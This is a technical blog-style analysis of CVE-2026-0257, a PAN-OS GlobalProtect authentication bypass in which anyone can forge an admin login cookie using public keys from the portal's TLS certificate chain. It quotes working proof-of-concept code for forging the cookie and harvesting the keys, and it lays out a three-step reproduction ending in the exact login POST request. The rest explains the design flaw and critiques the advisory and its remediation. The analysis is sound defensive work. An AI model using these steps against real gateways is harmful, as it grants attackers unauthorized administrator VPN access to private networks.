The cookie's plaintext is the username
Stuart Fewer at Rapid7 published a working PoC. The script's forge_cookie function is six lines:
def forge_cookie(public_key, username, domain="", host_id="", client_ip="0.0.0.0", client_os="Windows"):
"""Forge an authentication override cookie."""
timestamp = int(time.time())
plaintext = f"{username};{domain};{client_os};{host_id};{timestamp};{client_ip}"
ciphertext = public_key.encrypt(plaintext.encode(), padding.PKCS1v15())
return base64.b64encode(ciphertext).decode()
That is the entire cookie. Six semicolon-separated fields, encrypted with RSA-PKCS1v15 padding using a public_key the caller passes in. The cookie's contents are the assertion the portal acts on. PAN-OS decrypts the cookie with its private key, splits on semicolons, reads the first field as the username it should authenticate as. The other fields are recorded. None of them are checked against anything the server previously issued. The cookie is not bound to a session the server tracks, not bound to a prior login, not bound to a key the server holds in private. It is bound to a username the encryptor chose and a timestamp the encryptor wrote.
The forge function takes the username as an argument. The default value in forge_cookie.py is admin.
The encryption key is in the TLS handshake
The PoC's get_all_public_keys function opens a TLS connection to the portal on port 443, walks the certificate chain the server sends during the handshake, and returns every public key it finds:
def get_all_public_keys(host, port=443):
"""Extract all public keys from the TLS certificate chain (unauthenticated)."""
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
with ctx.wrap_socket(socket.socket(), server_hostname=host) as s:
s.connect((host, port))
if hasattr(s, "get_unverified_chain"):
der_chain = s.get_unverified_chain()
return [x509.load_der_x509_certificate(der) for der in der_chain]
(Older-Python fallback paths in the PoC parse the raw handshake bytes to reach the same chain.) This is the part that requires no privilege. The PoC connects to the portal the same way every GlobalProtect client connects: TLS handshake, server-side certificate exchange, hostname validation disabled because TLS validation is irrelevant to the attack. The server pushes its certificate chain over the wire because that is what TLS servers do. The PoC keeps every certificate in the chain, including the leaf and any intermediates.
PAN-OS lets the operator pick which of these certificates provides the key for cookie encryption, and the PoC does not know which one the operator picked. So it tries each in turn:
for i, cert in enumerate(certs):
public_key = cert.public_key()
cookie_b64 = forge_cookie(public_key, args.user, ...)
response = test_cookie(args.target, args.port, cookie_b64, args.user, context, ...)
if "<status>Success</status>" in response:
print(f"[+] Success - Gateway accepted the forged cookie")
The README's example output is one TLS handshake, two certificates harvested, two cookies forged, one accepted. The accepted cookie was encrypted with the CA certificate's public key:
Found 2 certificate(s) in chain:
[0] CN=192.168.86.99 (RSA 2048 bits, CA=False)
[1] CN=GP-Lab-CA (RSA 2048 bits, CA=True)
Trying [0] CN=192.168.86.99
[-] Failure - Gateway did not accepted the forged cookie
Trying [1] CN=GP-Lab-CA
[+] Success - Gateway accepted the forged cookie
The operator in the lab example had pointed PAN-OS at the CA certificate for cookie encryption. That CA's public key was reachable from any TCP-reachable client because the GlobalProtect portal sent the full chain during its TLS handshake, as TLS servers usually do. The cookie's encryption key was on the wire.
The chain is three requests
Reproducing the bypass against a vulnerable deployment is three steps.
Step one. Pull the chain.
openssl s_client -connect vpn.example.com:443 -showcerts < /dev/null > chain.pem
This is the work every TLS client does at the start of every connection. The server's certificate chain is the response to a TLS ClientHello. There is no authentication, no signal to the operator that the chain was pulled rather than completed.
Step two. Forge.
python forge_cookie.py --target vpn.example.com --user admin
The script reads the chain, encrypts admin;;Windows;;<timestamp>;0.0.0.0 with each public key, base64-encodes each ciphertext.
Step three. POST.
POST /ssl-vpn/login.esp HTTP/1.1
Host: vpn.example.com
Content-Type: application/x-www-form-urlencoded
prot=https&server=vpn.example.com&user=admin&passwd=
&clientos=Windows&clientgpversion=6.0.0
&portal-userauthcookie=<base64-ciphertext>
The handler at /ssl-vpn/login.esp reads portal-userauthcookie, decrypts with the server's private key, finds the username admin, returns <status>Success</status>. The attacker now has a GlobalProtect session as admin on the network the gateway routes into.
There is no password check. There is no challenge. There is no rate limit on cookie attempts that would matter at the cost of one TLS connection per certificate in the chain. The server's only test of the cookie is "can I decrypt this with my private key and find a username inside." Anyone holding the matching public key can produce a cookie that passes that test. The matching public key is on a certificate the server sends to every TLS client.
CWE-565 names the wrong bug
The CVE record cites CWE-565: "Reliance on Cookies without Validation and Integrity Checking." That description is wrong in the specific way that matters.
The cookie is validated. PAN-OS runs an RSA decryption against it. If the bytes are not a valid PKCS1v15 ciphertext for the server's private key, decryption fails and the cookie is rejected. There is integrity-checking machinery in the path. The problem is that the machinery is the wrong machinery.
RSA-PKCS1v15 encryption is a confidentiality primitive. It hides content from anyone who does not hold the private key. It does not authenticate the writer. Any party who has the public key can encrypt a payload that the private-key holder will decrypt successfully. That is the entire design of asymmetric encryption: anyone can encrypt for the recipient, and the recipient cannot tell who encrypted.
PAN-OS used this primitive as if it were a signature. A signature is the inverse operation: the writer signs with a private key, the recipient verifies with a public key. Anyone holding the public key can verify; only the holder of the private key can sign. If PAN-OS had signed the cookie with the server's private key and verified with the public key, the attack would not work, because the attacker would not have the private key. If PAN-OS had wrapped the cookie in an HMAC keyed by a server-side secret, the attack would not work, because the attacker would not have the secret.
PAN-OS chose the operation that runs in the wrong direction. It encrypted what it should have signed. The bug is not "no integrity check." The bug is "encryption mistaken for authentication."
This is the trust-inversion shape. The trust artifact in a GlobalProtect deployment is the TLS certificate the portal hands to clients. Its purpose is to prove to a connecting user that they are talking to the real portal. PAN-OS turns that same artifact into the primitive that lets clients prove to the portal that they are any user they choose. The credential that identifies the portal to the world identifies the world to the portal. Where Next.js's x-middleware-subrequest was an internal-only header that never modeled the inbound network as hostile, this is an internal-only certificate role that never modeled the TLS handshake as observable.
Step two was the default
The advisory's three-step remediation reads as a configuration guide. Read it as a confession.
- Upgrade to a fixed PAN-OS version.
- Or use a dedicated certificate exclusively for authentication override cookies, do not reuse the portal/gateway certificate.
- Or disable authentication override entirely.
Step two presupposes that the operator could, in earlier versions, point the auth-override certificate at any certificate they wanted, and that pointing it at the TLS certificate breaks the system. Both halves are true. The configuration knob exists. It has existed. Pointing the cookie certificate at the TLS certificate produces the bypass this CVE describes, and the configuration UI gave operators no warning that the choice mattered to security.
Step two is the patch the design always needed. Pointing the cookie certificate at a private-only certificate makes the public key unreachable to a remote attacker, which makes the bypass infeasible against that one operator. It does not change the underlying primitive. PAN-OS still encrypts the cookie with a key. PAN-OS still treats successful decryption as authentication. PAN-OS still gives the operator a knob that, if turned wrong, broadcasts the key. Step two moves the bug from default to advanced misconfiguration. It does not remove the bug from the design.
CVE-2026-0257's CISA KEV deadline is 2026-06-01. CISA adds CVEs to the Known Exploited Vulnerabilities catalog on evidence of in-wild exploitation. The advisory's Exploitation status field reads: "No known malicious exploitation as of publication." Both statements are public record. The KEV deadline is in three days.
PoC: sfewer-r7/CVE-2026-0257.
PAN-OS treated "encrypted with our public key" as "issued by us." The public key is public.